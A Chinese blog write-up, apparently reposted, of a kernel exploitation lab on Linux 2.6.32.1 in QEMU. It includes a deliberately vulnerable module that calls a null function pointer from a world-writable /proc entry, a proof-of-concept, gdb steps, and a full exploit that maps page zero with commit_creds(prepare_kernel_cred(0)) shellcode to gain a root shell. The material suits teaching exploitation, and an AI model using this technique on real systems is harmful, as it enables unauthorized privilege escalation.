标签：-o gcc 调用 efi lock qemu block sys reference
null_dereference.c：
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
可以看到漏洞代码中my_funptr函数指针是空指针（值为0x0），调用my_funptr可以执行0x0地址处的代码。
Makefile:
obj-m := null_dereference.o KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
将漏洞代码在本地编译(make)之后，将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef
int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7); // 调用bug1的write函数
return 0;
}
编译：
$ gcc -static poc.c -o poc
将poc也放到busybox的usr目录中。
再在busybox的_install目录中执行：
$ find . | cpio -o --format=newc > ../rootfs.img
qemu启动Linux内核，启动后用Ctrl+Alt+2到控制台，输入：
(qemu) gdbserver tcp::1234
在本地linux-2.6.32.1目录中用gdb去连接：
$ gdb vmlinux (gdb) target remote :1234 Remote debugging using :1234 default_idle() at arch/x86/kernel/process.c:311 311 current_thread_info()->status |= TS_POLLING; (gdb) b *0x0 (gdb) c Continuing.
在qemu中Ctrl+Alt+1切换回命令行，进入usr目录，挂载驱动后运行poc程序。
这时gdb就会命中断点，因为调用了空的函数指针，所以会跳转到0x0。反汇编查看当前执行的指令：
可以看到如果继续执行就会执行我们的payload。
commit_creds(prepare_kernel_cred(0));
在qemu中获取commit_creds和prepare_kernel_cred地址：
xor %eax, %eax call 0xc10680d0 call 0xc1067f30 ret
编译shellcode，并获取其机器码,得到shellcode：
shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"
现在将shellcode放入分配的0x0地址空间，当调用空函数指针时，使当前进程有root权限，然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";
int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7);
system("/bin/sh"); // get root shell
return 0;
}
将exp.c编译，将exp复制到busybox的_install目录下的usr目录中,再启动qemu，运行exp.
成功拿到root shell.
标签：-o gcc 调用 efi lock qemu block sys reference
原文地址：http://www.cnblogs.com/elvirangel/p/7469531.html
